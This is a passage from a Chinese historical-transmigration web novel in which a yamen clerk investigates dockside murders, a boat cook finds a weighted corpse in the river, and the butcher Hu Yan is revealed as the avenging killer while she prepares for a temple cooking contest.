其实就算衙差急的动粗也没用,又不可能真把刀架在大家脖子上逼问。 宋谨微微蹙了下眉,走过去握住了他的手腕,声音温而不大,态度看着也不怎么强硬:“这位兄弟,麻烦收刀。” “关你屁事!” 衙差本就看不起宋谨他们的身份,自己又是唯一被分来跟他们一组的,现下被阻止,气就更加不顺。 他说着就想动手甩开宋谨,奈何用了几下力都挣脱不掉。 宋谨给他们的印象大多温和,再加上身材瘦弱,不似他们这些衙差都有一身鼓鼓囊囊的腱子肉,他们便更加瞧不上这人。 二人这般对峙,衙差几乎被憋得脸红脖子粗,但宋谨只是握着他的手腕,面上依旧平和。 “收刀。” 宋小哥看着他,又说一声:“而且你这样问,是问不出结果的。” 宋谨说完话松开了对方。 衙差冷哼一声将刀入鞘,似是总算能够找到讥讽的借口,便挑着眉道:“哟,既然宋大人觉得我的问话方式不对,那不如你来问?” 朱力在旁看的早就不爽,听他怪声怪调,立刻就喊了声:“本来就该我们来问!” “你——” 衙差死死攥着刀柄,见他们人多势众,便没在敢还嘴了。 宋谨叫了朱力和其他两名同僚,“把他们分成四组,我们每人问一组,我来跟你们说一下都要问些什么。” 四人走去一旁低声交流,不多时,就又走了回来。 劳工们不太懂宋谨为何要弄得这样复杂,但也只能听从他们的吩咐。 而且在询问期间,他们也以为只要被问过一次,就算完成了任务。 可没想到,他们每个人都被问了四回。 也就是说,同一名劳工,宋谨问完,朱力问,然后又是其他两名同僚。 宋谨问他们:“昨晚是几时天黑?几时睡觉?夜里去过几次茅房?” 朱力又问:“睡了多久?中间醒过几次?身边睡着谁?对方几时入睡?” 这些问题看着有的相似,有些又不太相关。 总之四轮问下来,劳工们简直又懵逼又麻木。 劳工们去一边歇息,宋谨几人则把这些答案汇总到一起。 很快,大家便发现了这群人的回答其实出入很大,更有甚者,基本就是在胡说八道,前后几次的回答还自相矛盾。 其实劳工们一口咬定“没听到过外面的动静”,这话也是半真半假。 有些人的确睡得死一些,有些是因着刚被李二达骂完不久,再加上李二达总拿着鞭子吓唬他们,那声音一响起来,他们还以为是李二达又打人了,当然不敢再出去看。 虽说大家是为了自保而撒谎,但这些,其实都是无关痛痒的小事。 只是有一人的嫌疑,看着比较大。 那便是连跟宋谨说话,都会紧张到冒汗的项辰。 宋谨把项辰单独叫到一边,然后半蹲下身,保持和对方的视线在同一水平上,才温声问:“小辰,为何要说谎?” 项辰被这么直白的挑破,人就更紧张了。 他下意识把沾染了血点的那只手往后背塞,然后小声的说了句:“我没有……” 项辰性子内敛沉闷,没太多褚郁身上的那种蓬勃少年气。 而宋谨虽说也看到了他的小动作,但并没要求看项辰藏起的衣袖,就只是拍拍他的肩,说:“别紧张,我相信你。” 项辰听罢,有一瞬间的错愕。 毕竟如此明显的破绽,宋谨不可能没发现。 他略微低了下头,随即表情就变得无比纠结,之后,少年的头似乎越来越低,简直像是要把脑袋扎到地里去。 直到时间过去很久,他再重新抬起头来的时候,宋谨就发现,少年的嘴角都被咬破了一个口子。 然后,少年认认真真的看着他,一字一句,掷地有声地说道:“总之,人不是我杀的。宋大哥,我没有说谎话。” 宋谨再次点头,并微笑道:“嗯,我信你。” 宋谨这么说,其实并不是因为他认识项辰,有心维护,维护自然是想,但凡事也要讲证据。 项辰的个头跟李二达差了一大截,而且打人的凶器棍子就扔在地上。 那棍棒并不太长,项辰想要够到李二达的后脑勺,大概得踩梯子。 确认了劳工们没有嫌疑之后,宋谨就喊着朱力他们去花船那边,他刚预备迈步,项辰就扽住了他的衣角:“宋大哥,之前那几日幸亏你没来看我们,李二达找了名新来的看守盯你,他发现咱们是认识的了。” 宋谨听罢,脑子里飞快闪过了一张脸。 那晚和朱力从河边回来时,胡同口站着的眼生看守,当时还引起了他的注意。 所以…… 他忽的想到什么,回头看向项辰。 项辰像是还在后怕,也没注意他的异常,只是自顾自的叨咕着:“还好李二达死了,死了这个秘密就没人会知道,太好了……以后你又能来找我们了……” 宋谨伸手按住他的嘴巴,示意他别再念经,“镇定点,小辰。” 项辰看着他温润的眉眼,慢慢的,呼吸也总算变得平稳了些。 宋谨追着已经从胡同出去的朱力他们,几步上来,快速说道:“我想,我发现他们之间的联系在哪儿了,先回师父那确认一件事,待会儿花船见。” 他说罢便往反方向跑。 朱力几人听得一愣,压根没明白他的意思,有人摸着脑袋一脸疑惑:“说啥那?谁啊?谁跟谁有联系?!” 一行人边说边走,没敢耽搁太久,就疾步先往码头赶去。 而胡同里的劳工们俨然不会因为这件小事停工,没错,李二达的死在赵大眼里,的的确确就是个不足为道的小事。 不过对于方才褚郁和项辰的表现—— 赵大驱散劳工们的时候,便第一时间叫住了他们。 “刚刚为什么不说实话?” 赵大忽的对这俩小的多了点兴趣。 二人却听得迷糊,皆是一脸茫然的看着他。 赵大“啧”出一声,像是不太耐烦道:“李二达死前肯定会发出点声音,那些人胆小怕事不敢说也就算了,你们俩呢?你们俩怎么也不说。” 要知道敢偷他的药救人,赵大并不觉得褚郁是个胆小鬼。 尤其孩童多半天真,可这二人竟能糊弄过去衙差,确实有点意思。 “要知道,多给他们提供点线索,可就能早些破案了。” 赵大循循善诱。 褚郁和这壮汉一对上视线,人就有些惧意。 反倒是项辰,艰难的压下心头那丝恐惧,哑着声说:“他打过我们,我们为什么要给官差提供线索?杀了他的人也算是替我们报了仇了,我们高兴还来不及。” 赵大听过,眉头一挑:“是么?” 褚郁在旁看着他们,倏然想起褚朝云写给他的那封信。 而此刻,显然是个接近上面的好时机。 于是,他深沉的吸了一口气,将发抖的手藏进衣袖,也跟着附和道:“李二达总偷你箱子里的银子,我看到过好几次了,他做事也不认真,还经常喝酒,码头每日交接的货物得有人记账,有人清点,但他总是敷衍了事,有时就随便写个钱数上去。” 褚郁一口气说了这么多,赵大倒是心中惊讶。 赵管事起初不过是随便问问,哪里想到李二达背着他还搞了这么多的事。 想到如今在账房记账的人是李二达提拔的,说不定,这根本就是那死老婆子的主意。 李婆子跟李二达这一对烂货,已经盯着码头这摊油水多时了,怪不得李婆子当初说什么都要把他侄子给塞过来,就算是做个小工头也愿意。 可眼前这俩人年纪不大,观察能力倒是很强。 不声不响的,竟搜集了李二达如此多的证据。 所以……他们的目的又是什么呢? 赵管事突然警惕起来,他是这条码头的总负责人,虽说讨厌手底下做事的是蠢货,但也不想要些太过精明的。 他审视的看向褚郁,又瞥一眼项辰,然后就问了句:“你们留心这些事做什么?这事该你们管的?” 项辰见赵大瞪着褚郁,忙上前一步挡住,“因为我们跟他有仇啊!” 褚郁虽说手还在抖,但也不甘示弱地探出了头,声音比项辰听着微弱一丝:“本来想着找到证据就交给你处理的,能看着他被打一顿也是高兴的,谁也没想到……他就、就这么死了。” 赵大被他们两个小鬼一唱一和,也不知具体信了没有。 又抬头望了眼天,便扔下句“行了不早了,去上工”,说完,人就往账房那边走过去- 与此同时,褚朝云也下了暗仓去将起得晚的船娘全部喊上来。 但这处毕竟离着李二达死的地方有些距离,所以衙差在问他们发没发现码头那有异常时,大家的统一口径都是“没有”。 就连褚朝云和方如梅,也是如此回答。 不过二人前脚刚答完,后脚便互相对视了一眼。 他们彼此都心知肚明,这一眼的深意在哪,所以昨晚听到的根本不是什么野猫叫,而是李二达的惨叫声。 方如梅纯纯的不想给自己惹麻烦,所以才缄口不言。 而褚朝云的想法就更简单了,李二达跟她家小郁有仇,再者说李二达也是个恶人,她只恨手里头没有鞭炮,否则还得放几挂来庆祝庆祝。 船娘们的问话结束的比较快,毕竟衙差们本就没把希望放在这里。 就在众人迈步下船时,宋谨便从长街那侧赶了过来。 隔着长长的艞板和一座码头,褚朝云只勉强看到远处跑来的清隽人影。 那人跑的虽急,可浑身还是透着一股儒雅和稳重,褚朝云不由得望去几眼,但因着日头的光照强烈,她也没能看清楚几分。 方如梅过来拉她,见她望着码头的方向有些出神,便好奇道:“看什么呢?朝云?” 褚朝云兀自摇头,收回了视线。 其实也没看什么。 就是觉得那跑过来的小哥,样子有些眼熟而已。 小哥很快跟衙差们一行人汇合,然后就往府衙的方向而去。 朱力揽着宋谨肩头,轻声问:“你刚刚干什么去了?还有,谁和谁有联系?话说一半听的人一直惦记。” 宋谨跑的热了,用手扇风,然后缓声说道:“先是死了一个,如今又是李二达。那日咱们去抬尸体的时候,你没有觉得第一个死者长得很眼熟吗?” 他说完,朱力就一把捂住了脸:“我说宋先生,那人脸都被砍成那样了,你觉得我还想看不?” 李二达好歹是后脑先挨了一下,仰面倒在地上后,凶手又对着他身上砍了几刀。 可第一个死者不同,那根本就是像杀猪刀片肉一样,从头砍到了脚,最后血流过多死亡的。 所以朱力当时是真不敢看。 他可没觉得自己胆子有多大,至少和敢在尸堆里坐着的宋谨,是没法比的了。 宋谨听后也是无奈,又道:“我认出他了,不过也是刚刚才认出。” 这还是得到了项辰的提醒。 第一名死者叫做蒋尤,正是李二达找过来的新看守,也是那晚跟他和朱力打了照面的那位。 所以这俩人是认识的。 可二人先后被杀,这便表明,此案分明就是一起预谋好了的凶杀案。 还是寻仇。 宋谨边说边走,只不过刚刚脑子里闪过的,却并非是死者蒋尤那张划花的脸。 而是花船上那位姑娘的。 他往那边跑时,一眼就看到了船上的姑娘,个子高高的那位,好像和下水那晚遇到的人有些像。 只是距离尚远,他也不太能够确认。 但对方的穿着打扮他还是大概看得清,以及那船娘统一戴着的包头发的布巾。 宋小哥不禁思索起来,难道那位姑娘……真是楼下的船娘么? 他又往那处回望一眼,可对方早就不在船头了。 褚朝云正跟方如梅合力再洗几床被单,两个人故意去到角落里,边说着话边干手里的活。 褚朝云昨晚给方如梅拿了一只手套过去,因为对方是这里的老人了,所以对其他船娘的情况也比较清楚。 她和方如梅细细的了解了一番,发现大家伙对女红方面,似乎还说得过去。 所以,她打算给大家伙一个晚上的时间,至少要先缝出个大概貌来。 若是这活儿做的明白,不敷衍不糊弄,那这八十副的手套,也就有着落了。 方如梅正勤快的抢着干活,边搓被单边小声说:“我可真不知要怎么谢你了,朝云,谢谢你肯带着我们这些没用的人一起赚钱。你放心,我们晚上回去就把手套给赶出来,绝不会让你失望的!” 褚朝云用力拧掉水渍,“婶子可别这么说,你们怎么会是没用的人?每个人生下来都是有用的,且看要用在何处。” “哎哎,你说得对,你说得对!” 方如梅激动地脸都红了。 褚朝云安抚性的拍拍她肩头,趁着没人又道:“婶子可别怪我做事先小人后君子,至于今后这活还有没有你们的,得看你们做的质量如何。所以不用急着出工,慢慢来就好,要针脚细密,穿戴起来舒适又结实,这才是比什么都重要的事。” 方如梅将她的话一一记在心里,手下的动作便更加卖力起来。 褚惜兰下来的时候,褚朝云便把这件事说了一遍,“你去跟春叶说,在等上两日便能有结果了。” 褚惜兰俨然没想到她竟有这么大的力量,顿时惊喜道:“三妹妹,我真是要对你刮目相看了!你是怎么说动大家伙都来帮忙的啊?!” 褚惜兰眼中带笑,人也看着轻松不少。 如今李二达出了事,李婆子只顾着在院子里哭闹,一个早上就昏死过去三回,根本也没空过来盯他们了。 李婆子一罢工,姑娘们个个都松泛。 褚朝云靠在厨房里歇气,抽空喝了几口热水暖身子,“人家可不是来帮忙的,他们也是要分钱的。” “那自然是。” 褚惜兰笑着回应。 不过说起这缘由么…… 其实她早就有想拉大家入伙的念头,可方如梅出事那晚,所有人都被打击的精神崩溃。 褚朝云当时有那么一瞬间,觉得自己可能想的太过天真,所以她劝阻船娘们别冲动,一方面是不希望他们白白送命,而另一方面,也是想看看大家的抗压能力。 如若他们不听劝还是那么莽撞,那这赚钱的活儿,也是说什么都不敢交出去的。 或许当处在危难之中的大家有了统一的目标,就会自动自觉拧成一股绳了吧。 无论如何,总归是好事。 不过李婆子虽然不在船上,可其他婆子们还在,褚惜兰也不能待得太久。 临走前,她回头看一眼褚朝云,低声道:“三妹妹,你若是有牢靠的人能打听到,别忘了去问问我那日告诉你的事。” 这于他们而言是大事,褚朝云当然没忘。 只是她如今并非是刚上船时那般单纯模样,尽管这事听着很叫人热血沸腾,但她还是压住了心底蠢蠢欲动的念头。 因为只要冷静下来想一想,就知这事并不简单。 午饭过后,褚朝云没急着回去歇息,而是坐在厨房里等程月。 程月做饭忙了一上午,中午又急着下船去房东那边,不过既然答应今个要给她送方子来,那人是一定会来的。 所以趁着此时清闲,她便抽空琢磨了一下竹筐里的一块牛肉。 那是程月留给她的晚饭,作为拜师之后的赠礼。 但若抛开那些虚假的礼节,其实还是因为大祁牛羊肉矜贵,而这又是一块难得的好肉,程月才带过来送她,好叫小徒弟补一补身子。 褚朝云正伸手去戳那块肉时,戴着白色帷帽的女子就进了门。 “如何?可想到要怎么做它了?” 程月手中捏着一张叠得整齐的纸,说话间,一手摘下帷帽,一手便将纸张递了过去。 褚朝云暂时没太想好,伸手接过方子,就急吼吼地打开来看。 有些人的字,真是一眼便叫人羡慕。 褚朝云此刻就是这种感觉。 程月不但饭做的精致,就连那一手的小楷也是写的秀气雅致。 她大略扫过一眼,又跟自己调配的料包作比对,便很快就发现其中缺少的是什么了。 程月见她看的认真,而且边看还边用心的记,顿时就露出了欣慰的神情。 似是心血来潮,她走去竹筐旁往牛肉那瞧去一眼,然后说道:“我待会儿给你讲讲为何要加这几种香料,不过这肉么,你不能白收,留出一部分给我交个成品出来,就还是后日吧。” 她说完,就见褚朝云俏皮的蹲下身去戳那块牛肉,然后愉悦的应了声:“好嘞~” 褚朝云声拖得长,尾音还往上扬,话音刚落,眼睛就叽里咕噜转了起来。 程月被小徒弟的样子逗笑,不过一抬手,身上的异味又散出来,表情顿时就瘪了下去。 这味道褚朝云当然也闻见了。 她起身看向程月,纳闷道:“师父没用我给你的干花?” “戴着呢。” 程月找了只空荷包来装,而且还装了不少。 但她还是懊恼的说:“房东家里出事了,我今个过去不是帮忙选肉质的,这一来一回忙的脑子晕,竟连衣衫也忘了换下。” 既然提起这茬,褚朝云也就顺嘴问了问:“哦?出什么事了?” 程月哀叹一声,又捏了两下眉心。 这两日,本该到了交租的时候,以往这时候,房东媳妇随青早就上门来了,可这回却迟迟未见人影。 程月想着,反正约定要去帮忙挑肉的日子也快到了,到时主动送去就是。 可哪成想,今个一上门,房东胡彦家中跟遭了贼一样,乱的几乎没处下脚。 而胡彦本人,大冬天的坐在院子地上,正一口口的喝着闷酒。 程月过去拿钱给他,对方也不知道接。 遇上这么个情形,她也不能放下银钱就走,里里外外没看到随青,就问了问胡彦。 可这一问,胡彦这敦实的汉子却坐在地痛苦的抱着头哭起来。 随娘子几日前就收拾了包袱说要回一趟娘家,可胡彦的肉摊忙不开,这次就也没去送。 随青家就住在临县不远,以往每次回去,一来一回也就是两日的时间,可这次从人走到今天,已经过去了整整五日。 胡彦等不到人便去她娘家找,结果娘家那边却说随青根本没回去过。 可若要是没回去,五天了,这人如今又在哪儿呢? 程月也听得心中不妙,便想着拉胡彦去报案,但胡彦说他已经去府衙报过了,这几日也见有衙差帮忙寻找,但却并没找得到。 所以这娘子一失踪,胡彦也没心思卖肉了,整日里就坐在院子喝酒,喝醉了便躺在地上睡。 幸好这几日天不太冷,否则非要把人冻死不可。 褚朝云听过之后也有些能共情,她从现世穿来就已经是亲眷分离,原主一家被送上船亦是如此。 最怕的就是这种不明不白的人影不见,慢刀子割肉,就更叫人痛。 听着听着,她忽的看向程月:“那……胡彦现在就指着衙差帮忙找人了吗?他自己呢?也出去找找啊!” 程月沉默,这当中细节,她便不得而知了。 …… 晚间一到,褚朝云就先回了暗仓睡上一会儿。 她有时白日里太过疲累,收工第一件事就是回来补眠,然后待到花船歇业再起来,人还能更有精神头一些。 褚朝云推门出来,便见有几扇门都没关,冷风嗖嗖的从大家的窄窗口吹进来,吹得她顿时打了个激灵。 好冷! 她往几人的房中看了看,这才发现船娘的屋子里没有油灯,而且又要缝手套,于是大家就只能开着窗借点外面的亮。 这可不行。 这么一整,没等手套缝完,他们人都要冻僵了。 褚朝云进了自己屋去,把脚凳上的油灯以及徐香荷屋里那盏都拿了过来。 “你们集中在两间屋子里弄吧?还剩下一盏油灯我们也需要用。” 船娘们见她不但给大家寻赚银钱的门路,又好心的把油灯借出来用,顿时感激的眼眶泛红。 褚朝云还有自己要忙的事,就先进了刁氏那屋。 “今天的馍没喂鱼,我等下去煎些来吃。” 她要忙着研究程月给的那块牛肉,所以另做主食,怕是时间不太够用。 刁氏也忙着自己手里的活,抬头应过一句,倒也没在意晚上吃什么。 不过这会儿徐香荷并不在房里,而是在刚刚褚朝云送油灯时就去了船娘们那。 毕竟他们有样板也还缺个指导的人,徐香荷在这方面算是经验丰富,刚好教一教大家,进度也能更快一些。 褚朝云出门上了木梯,进到厨房时还发现竹筐里多了几包香料,显然也是程月一并放在这儿的。 她白日里已经将那牛腱肉泡了几回,血水冲的差不多了,这才倒掉盆子里的水。 按照师父的方子,她开始将香料往自己的调料中混。 程月给她的方子只写了香料名称,却故意没有写要加入的分量,这些事全靠她自己发挥。 褚朝云不断的加料,不断的品尝,反复几次,总算把原本的鲜香料和麻辣料改良成功。 这会儿在闻,那味道果然不同了些。 弄完这个,她就把视线移到了洗好的牛腱肉上。 褚朝云盯着那纹理细致,筋膜清晰的一坨肉看了看,最终,主意又打到了那方子上。 她是不是可以—— 女子神情定了会儿,就把牛腱肉从盆中取出,先是切成了几个小块,然后又放回去,在盆里倒入一些高度数的粮食酒和清酱,打算先把肉给腌制一会儿。 厨房里一直有个小罐子,但她不知里边是什么,就从来没动过。 今个程月告诉了她,那是清酱。 她用之前还浅尝几口,大概和现世的生抽有些像。 腌完,便捞出肉块放到大黑锅里,加入几片生姜和调料。 不过这次加的调料不是刚刚配好的万能料包,而是根据程月写的方子,自己重新配出的新调料。 毕竟不同的做法,用料也会不同。 如今她已经知晓了几种香料的全部用处,配起来自然也容易些。 做完这一切后,她便在锅子里添入足量的水,清水没过肉块,然后开始炖煮起来。 为了想要这些牛肉熟的快,她还特意多切几刀,将牛肉块切的小一些。 这炖牛肉要等的时间较为漫长,褚朝云便推开厨房门又想出来溜达,只是脚步才迈出来,心中却多了几分犹豫。 上次出来溜达,李二达就死了。 这回不会又遇上什么事吧?? 褚朝云心有余悸地在原地杵了会儿,虽说她想的这些是无稽之谈,但架不住这世间有一种玄妙的东西,它叫做—— 女人的直觉。 正当褚朝云做好心理建设,终于要往外迈时。 耳畔便传来“噗通”一声响,似乎有什么人,刚刚下了水去。 第55章 一更 褚朝云循声望去,却只瞧见了河面上一片片被风吹出的涟漪。 此刻,两侧河岸灯火早已熄灭,可胜在今晚月色明朗,银光蕴出朦胧的薄雾,涟漪散尽时,就连玉盘似的满月也被切的七零八落。 褚朝云倚在船栏处往下看,并没瞧清楚到底是不是真有人下河,而在俯身间,夹在衣襟里的小荷包还不慎滑脱。 还没等她伸手去抓,便听“噗通”一声,小荷包就进了水中。 “……” 荷包里装的虽说只是一些铜板,但那也是她辛辛苦苦赚来的。 再加上铜板偏沉,这一入水,就直直的往下坠,顷刻,便影儿都不见了。 “哎呀,糟糕!” 褚朝云就说女人的直觉准没错,做饭中途一出来就没好事。 这会儿她也顾不上去屋子里拿防水衣和防水袜了,索性脱了脚上鞋袜,浅浅做了几下热身,就赶紧下了水去寻。 好在自己是亲眼看着荷包掉下去的,大概方位不会错。 褚朝云整个人完全扎入水中,奋力向下游去,但夜色漆黑,水下也是黑魆魆一片,真下来之后,她又有些心里没底了。 不过来都来了,总要找找看。 于是,她一路下到河底,直到双脚踩在实处,才蹲下身来,用手摸来摸去的开始寻找。 蕤河之下除了鱼虾和水生植物,还有一些石块和摸不出来的东西。 褚朝云此刻心扑通扑通的跳,毕竟这做法实在冒险,若是一个不察摸到什么水蛇之类的危险物种,小命岂不是要搭上了。 她越这么想,心下就越发慌。 又努力的往四周探了几步,依旧没摸到那只小荷包。 她微叹口气,心想要不就算了吧。 不能舍命不舍财的。 这么决定之后,她就缓缓起身想再上去,结果脚下一滑,差点摔倒,还好被一个什么东西给挡了一下。 原本还以为又是石头,只是触感不太对劲,好像有些柔软,总之不太像是石头那般坚硬的东西。 嗯? 难道自己碰到了刚刚下水的仁兄? 于是,她收回脚站稳后就没急着走,而是身体又往那处挪,手臂伸展着探出去,指尖尝试着往方才碰到东西那够。 这次没太费劲,就被她够到了。 是柔软的,摸着还有些冰,但怎么琢磨……都不像是活物。 因为她用手指头去戳的时候,对方并没有动。 褚朝云发誓,回想起来这晚下水的情形,若是叫她再来一次,她绝对会止住自己的好奇心不去乱碰。 可现下,她俨然是没这种觉悟的。 褚朝云又摸了几下,然后发现自己好像摸到了布料,接着是谁的脖子,然后是嘴唇,鼻子,最后差点就碰到了对方的眼皮。 反应过来自己到底遇上了什么东西时,褚朝云登时就吓得身子发软。 她都不必去看清楚身边躺着的人,拔腿就往上游去。 水下森冷,可她周身依旧冷汗不断。 此时此刻,她觉得自己全身的毛孔都要揪起来了,针扎一般的就开始发痛。 褚朝云惊骇的冲出河面,几乎是半游半逃似的上了船梯。 人坐到船板上时,就开始生理性反胃。 褚朝云感觉自己的嗓子眼里都是冷气,尤其一想到自己方才还摸过那尸体……就“哇”的一下呕了出来。 厨房里的牛腱肉还在小火慢炖着,但她却完全顾不上,褚朝云勉勉强强站起了身,就那么全身湿漉漉的回了刁氏那。 一进门,就把刁氏跟徐香荷吓了一大跳。 “哎哟我的妈,这是怎么了,这是!!” 徐香荷立刻取来干净的布巾帮她擦拭,又跑进她房中去拿干衣裳和袜子。 女子整个人都还处在惊恐中,任由徐香荷跟刁氏帮她换衣裳、换袜子,最后徐香荷把汤婆子塞到她怀中,褚朝云才逐渐缓回了神。 不过帮她整理好后,二人倒是没急着追问,而是坐在旁边默默地陪着她。 直到过了半盏茶,那张冻青了的小脸缓回了颜色,褚朝云才喃喃道了一句:“河底下……有死人。” “嘶——” 她刚说完,刁氏的手背就被自己的指甲刮出个血口。 不过褚朝云讲出来的消息实在让人震惊,徐香荷都听傻了,二人也就没有注意到刁氏的异样。 徐香荷目光直直地盯着对面墙板,然后怔愣着说:“死、死人……谁死了?是船上的船娘么……” 她口中所指当然不是楼下的,而是楼上的。 因为近期暗仓里的船娘们没有去世的,这一点不用想也知道。 褚朝云其实也不太愿意去回想那个中细节,可或许是已经脱离了恐怖的场景,加之屋中还有两个人陪着,她深沉地吸了口气,混乱的思绪总算慢慢变得清晰了些。 她方才明明就站的很稳,为何会突然滑了一下? 想到此,她便下床去检查穿过的那双袜子,看了又看,就在袜子收口处发现了一条崩断的粗线。 应该是在水下蹭上的。 “这是什么?” 徐香荷见她问,就也走过来看,“好像是麻绳?” “麻绳……” 褚朝云略微思索了下,突然就明白了什么。 她大概并不是滑到的,而是被一根麻绳绊了下。 而且都说如果是抛尸下水,之后尸体是会浮上来的,但刚刚那具——显然沉的好好地。 褚朝云断定,应该是有人用麻绳绑着石块沉尸,所以尸体浮不上来。 稍微一回想最近发生的案子,以及程月提到的房东媳妇随青,女子惊恐的捂了下嘴:“那具尸体,该不会就是失踪的随青吧?!!” …… 程月过来验收成果的时候,褚朝云已经把牛腱肉给卤好了。 那晚,她最后还是回了厨房把牛肉煮完,然后连汤带肉一块倒入盆子里冷置了一夜。 因为天气冷的缘故,所以就连盆中的卤汁都结成了块,看着像冻子似的爽滑。 褚朝云这会儿已经好多了,水下遇尸体的阴影也散的差不多少,她将早就冷却的牛腱肉切出来一小盘,又切了几小块备用。 然后擀了面条,挖了一块卤汁下锅,做了一道香喷喷的牛肉面出来。 “这是酱牛肉,这是牛肉面,请师父验收~” 褚朝云一脸乐淘淘的样子,显然心情也很不错。 程月接过,先是尝了一下酱牛肉,点点头后又去挑面吃,然后放下碗道:“做的不错,只是面尚有些不够劲道,等下我教你一些方法。” 程月跟她说,凡是肉一类的食材,大概怎么做都不太会出错。 而难就难在,普通的食材要是想达到好吃的程度,才是比较考教厨艺的。 其实这话,褚朝云在现世也听过。 程月示意她不要浪费,把牛肉面吃完,然后又道:“正如你要参加的是素斋大赛,这可要比寻常的美食大赛更加有难度。” …… 眼看着比赛日就近了,长业寺也已经贴出了通知。 【请参赛的厨师们于明日申时前到达寺中,静候比赛。】 因着有了“程月徒弟”这一层的关系,钟管事这回倒是没有为难她,很痛快的就答应放她下船去比赛,不过必须要有看守跟随。 其实就算没人跟着,褚朝云也不会扔下这摊自己跑。 且不说褚惜兰和褚郁还在这里,此时她若是突然逃跑,程月岂不是也要受连累。 但这事她不过就是随便想想,倒犯不着和钟管事解释什么。 当晚,褚朝云回隔间去收拾行李,其实也没什么要收拾的,不过就是带两套换洗的衣衫和银钱,毕竟长业寺那边是什么情况她还不得而知。 只是此去有一件事不太顺畅,那就是原本程月是要陪着她去的,可长业寺方丈得知程月的身份,就拒绝了程娘子入寺。 理由,是为了比赛的公平和公正。 程月实在厉害,若有她从旁指导,即便褚朝云得了魁首,其他参赛者大概也会不服。 褚朝云收拾完东西,就来了刁氏这边说话。 徐香荷:“你放心吧朝云,船娘们都很重视做手套的活儿,他们手艺不错,八十副手套已经在进行中了,后续的事就交给我们,你安心去比赛便好。” 刁氏:“虽说程娘子和我们都不能陪着你去,但你是个有主意的,只是在外面,还是要多照顾自己。” 徐香荷有点舍不得,但还是说:“去吧去吧,早点回来,拿个魁首,我和婶子在船上等着你。” 刁氏神情怔了下,“其实……要是能不回来,那就最好了。”- 褚朝云下船的那日,蕤洲发生了一件大事。 杀害蒋尤和李二达的真凶找到了。 正是原来开猪肉铺子的胡彦,也就是程月的房东。 李二达爱吃猪肉,蒋尤为了巴结李工头,所以经常带着他去猪肉铺子买肉吃,结果这一来二去的,李二达就看上了胡彦的媳妇随青。 后来胡彦改卖羊肉的主意,也是李二达撺掇的,他告诉胡彦自己有门路,而且羊肉又矜贵,比猪肉赚钱多了。 胡彦便有些动心了。 其实李二达根本没什么正经门路,他只是想借着这个机会接近随娘子。 机缘巧合之下,他得知随青要回娘家探亲的消息。 所以他和蒋尤在去临县的途中堵住了随青,奈何随娘子并不是个任人欺凌的女子,挣扎之下,她踢伤了李二达,但也因此被恼羞成怒的二人给失手打死。 两人害怕摊上事,就将随青的尸体绑上麻绳沉下蕤河,以为这事做的神不知鬼不觉。 哪成想行凶那日,刚好碰上胡彦的兄弟。 原本那兄弟想去报官,但胡彦却拦住了他。 因为李二达的身份特殊,是那条花船上的人,而一向清廉的岳知府为人什么都好,就是在花船这个问题上,总是避而不谈。 胡彦怕岳常不肯秉公办理,自己的娘子枉死,他绝不会让贼人逍遥法外,便生出了自己报仇的念头。 所以胡彦佯装去府衙报了随青的失踪,另一方,就在偷偷寻找娘子的尸体。 他只知随青被沉到了蕤河,却不知具体是在哪处。 褚朝云那晚听到有人下水的声音,她并没听错,下去的人就是胡彦。 胡彦寻尸体不得,便去堵了蒋尤。 他个子不高但力气很大,胡彦逼问蒋尤把随青的尸体沉到何处,奈何蒋尤胆小,见他举着杀猪刀,便吓得尿了裤子,支支吾吾的也说不清楚什么位置。 胡彦就像片猪肉一样,把他给片了。 跟着就是李二达。 那晚李二达进了胡同之后,项辰确实想在背后袭击他,打他一顿出出气。 但项辰刚要从茅房出来去实施计划,就看到墙根下的胡彦先打死了李二达。 打死之后又继续砍,血溅的到处都是,有那么一滴,就崩落在了项辰外翻的袖口上。 项辰亲眼目睹胡彦杀人,整个人吓得僵在原地许久。 但他确实有私心。 因为觉得李二达死有余辜,才不预备讲出来。而且还有一个原因,他不认得胡彦,胡彦几乎背对着他,他连人都没怎么看清。 因着胡彦总是被骗着进到一些劣质的羊肉,所以身上便时常带着腥膻的气味。 其实那日宋谨和李二达擦肩而过,闻到的味道并不是李二达身上的,而是因为当时胡彦在跟着李二达,味道是从胡彦身上传来的。 第二次那晚也是一样。 褚朝云去长业寺之前把这事告诉了刘新才,于是第二日一早,宋谨和朱力他们就锁定了范围下河寻找。 一些船娘得知衙差在捞尸体,都偷偷跑去船头看。 徐香荷跟刁氏也在其中。 宋谨按照褚朝云传过来的话直接下到河底,寻到了尸体,又解开了绑尸的麻绳。 正要召朱力他们过来抬,就瞧见麻绳下藏着的一只小小荷包。 荷包? 水下朦胧,他也不太能看得清楚。 但稍微一联想,又加上如此做工看着像是女子所用。 宋谨略微沉思,这……难道是褚姑娘的吗? 当时大家都在忙着把随青的尸体带上去,宋谨也顾不上许多,便拾起荷包放入衣襟。 “哗啦——” 水面出现了一名男子。 宋谨抹了把脸上的水渍,朝岸上的衙差挥了挥手。 “拿竹架过来。” 心头一桩大案了了,又见花船上站了好些船娘,宋小哥便下意识往那侧看了一眼。 见刁氏也在看他,宋谨轻微点了下头。 刁氏忙笑着抬抬手,示意他忙。 宋谨和刁氏身旁的姑娘对视一眼,就略有失望的收回了视线,虽然他没见过褚姑娘长什么样,但却知道,那姑娘并不是褚朝云。 宋小哥虽无动于衷,但徐香荷却很激动。 她蹬着大眼睛,隐隐按捺不住地去拉刁氏,然后艰难压着声音里的亢奋问:“婶子婶子,刚刚跟你打招呼的小哥是何人?他长得可真好看啊!!” 刁氏瞥来一眼,失笑道:“你前个,不是还叫人家宋老爷么?” 徐香荷愕然,随即又往已经上了岸的宋谨那处望,“什、什么?!你说他才是宋谨??可可可那晚来送甜菜的人不是他啊!!” “啊?是吗?” 刁氏听后,才发现俩人都弄错了。 然后又笑着说:“那可能那晚他有事没来,请了别人来帮忙吧。对,他才是宋谨。” 徐香荷看着远去的背影越发激动,“啧啧”两声,就开始自顾自的傻乐。 刁氏没弄懂这妮子为何这副表情,便有些纳闷道:“你笑什么呢?” 徐香荷“嘿嘿”两声,并没回应,而是在心中思索道:原来这宋小哥还真是个妙人,好一个模样隽秀的俏郎君,配她家朝云甚好~- 褚朝云带着两名看守来到长业寺门前,出示了自己的比赛身份后,小和尚就放他们进去了。 她是第一次来大祁的寺庙,所以心中还带了一点旅游参观的兴致。 长业寺不愧是蕤洲香客最多的寺庙,褚朝云站在门内,一眼望去,大大小小的和尚无数,庙中的建筑也是多到一眼望不到头。 实乃蕤洲第一古寺了。 